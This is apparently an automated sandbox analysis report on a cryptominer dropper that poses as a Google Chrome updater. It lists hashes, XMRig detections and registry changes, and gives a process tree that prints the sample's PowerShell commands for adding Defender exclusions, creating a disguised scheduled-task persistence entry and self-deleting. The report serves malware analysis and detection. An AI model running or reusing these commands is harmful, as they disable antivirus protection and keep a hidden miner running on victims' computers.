Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1800s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3080 created 3424 3080 Be5sCbvuma2nkHDa.exe 63 PID 3080 created 3424 3080 Be5sCbvuma2nkHDa.exe 63 PID 3080 created 3424 3080 Be5sCbvuma2nkHDa.exe 63 PID 3080 created 3424 3080 Be5sCbvuma2nkHDa.exe 63 PID 1008 created 3424 1008 updater.exe 63 PID 1008 created 3424 1008 updater.exe 63 PID 1008 created 3424 1008 updater.exe 63 PID 1008 created 3424 1008 updater.exe 63 PID 2544 created 3424 2544 conhost.exe 63 PID 1008 created 3424 1008 updater.exe 63 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral8/memory/4816-124-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-128-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-129-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-131-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-135-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-137-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-139-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-141-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-143-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-145-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-147-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-149-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-151-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-153-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-155-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-157-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-159-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-161-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-163-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-165-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-167-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-169-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-171-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-173-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-175-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-177-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-179-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-181-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-183-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig behavioral8/memory/4816-185-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1008 updater.exe -
resource yara_rule behavioral8/memory/4816-120-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-124-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-128-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-129-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-131-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-135-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-137-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-139-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-141-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-143-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-145-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-147-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-149-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-151-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-153-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-155-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-157-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-159-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-161-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-163-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-165-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-167-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-169-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-171-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-173-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-175-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-177-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-179-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-181-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-183-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx behavioral8/memory/4816-185-0x00007FF6BF540000-0x00007FF6BFD34000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1008 set thread context of 2544 1008 updater.exe 115 PID 1008 set thread context of 4816 1008 updater.exe 109 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Be5sCbvuma2nkHDa.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1068 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3080 Be5sCbvuma2nkHDa.exe 3080 Be5sCbvuma2nkHDa.exe 2324 powershell.exe 2324 powershell.exe 3080 Be5sCbvuma2nkHDa.exe 3080 Be5sCbvuma2nkHDa.exe 2432 powershell.exe 2432 powershell.exe 3080 Be5sCbvuma2nkHDa.exe 3080 Be5sCbvuma2nkHDa.exe 3080 Be5sCbvuma2nkHDa.exe 3080 Be5sCbvuma2nkHDa.exe 4388 powershell.exe 4388 powershell.exe 1008 updater.exe 1008 updater.exe 944 powershell.exe 944 powershell.exe 1008 updater.exe 1008 updater.exe 2360 powershell.exe 2360 powershell.exe 1008 updater.exe 1008 updater.exe 1008 updater.exe 1008 updater.exe 2544 conhost.exe 2544 conhost.exe 1008 updater.exe 1008 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2324 powershell.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeIncreaseQuotaPrivilege 2432 powershell.exe Token: SeSecurityPrivilege 2432 powershell.exe Token: SeTakeOwnershipPrivilege 2432 powershell.exe Token: SeLoadDriverPrivilege 2432 powershell.exe Token: SeSystemProfilePrivilege 2432 powershell.exe Token: SeSystemtimePrivilege 2432 powershell.exe Token: SeProfSingleProcessPrivilege 2432 powershell.exe Token: SeIncBasePriorityPrivilege 2432 powershell.exe Token: SeCreatePagefilePrivilege 2432 powershell.exe Token: SeBackupPrivilege 2432 powershell.exe Token: SeRestorePrivilege 2432 powershell.exe Token: SeShutdownPrivilege 2432 powershell.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeSystemEnvironmentPrivilege 2432 powershell.exe Token: SeRemoteShutdownPrivilege 2432 powershell.exe Token: SeUndockPrivilege 2432 powershell.exe Token: SeManageVolumePrivilege 2432 powershell.exe Token: 33 2432 powershell.exe Token: 34 2432 powershell.exe Token: 35 2432 powershell.exe Token: 36 2432 powershell.exe Token: SeIncreaseQuotaPrivilege 2432 powershell.exe Token: SeSecurityPrivilege 2432 powershell.exe Token: SeTakeOwnershipPrivilege 2432 powershell.exe Token: SeLoadDriverPrivilege 2432 powershell.exe Token: SeSystemProfilePrivilege 2432 powershell.exe Token: SeSystemtimePrivilege 2432 powershell.exe Token: SeProfSingleProcessPrivilege 2432 powershell.exe Token: SeIncBasePriorityPrivilege 2432 powershell.exe Token: SeCreatePagefilePrivilege 2432 powershell.exe Token: SeBackupPrivilege 2432 powershell.exe Token: SeRestorePrivilege 2432 powershell.exe Token: SeShutdownPrivilege 2432 powershell.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeSystemEnvironmentPrivilege 2432 powershell.exe Token: SeRemoteShutdownPrivilege 2432 powershell.exe Token: SeUndockPrivilege 2432 powershell.exe Token: SeManageVolumePrivilege 2432 powershell.exe Token: 33 2432 powershell.exe Token: 34 2432 powershell.exe Token: 35 2432 powershell.exe Token: 36 2432 powershell.exe Token: SeIncreaseQuotaPrivilege 2432 powershell.exe Token: SeSecurityPrivilege 2432 powershell.exe Token: SeTakeOwnershipPrivilege 2432 powershell.exe Token: SeLoadDriverPrivilege 2432 powershell.exe Token: SeSystemProfilePrivilege 2432 powershell.exe Token: SeSystemtimePrivilege 2432 powershell.exe Token: SeProfSingleProcessPrivilege 2432 powershell.exe Token: SeIncBasePriorityPrivilege 2432 powershell.exe Token: SeCreatePagefilePrivilege 2432 powershell.exe Token: SeBackupPrivilege 2432 powershell.exe Token: SeRestorePrivilege 2432 powershell.exe Token: SeShutdownPrivilege 2432 powershell.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeSystemEnvironmentPrivilege 2432 powershell.exe Token: SeRemoteShutdownPrivilege 2432 powershell.exe Token: SeUndockPrivilege 2432 powershell.exe Token: SeManageVolumePrivilege 2432 powershell.exe Token: 33 2432 powershell.exe Token: 34 2432 powershell.exe Token: 35 2432 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4688 wrote to memory of 3252 4688 cmd.exe 99 PID 4688 wrote to memory of 3252 4688 cmd.exe 99 PID 4388 wrote to memory of 3044 4388 powershell.exe 102 PID 4388 wrote to memory of 3044 4388 powershell.exe 102 PID 1008 wrote to memory of 2544 1008 updater.exe 115 PID 4616 wrote to memory of 1068 4616 cmd.exe 110 PID 4616 wrote to memory of 1068 4616 cmd.exe 110 PID 1008 wrote to memory of 4816 1008 updater.exe 109 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3424
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2432
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4688
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:944
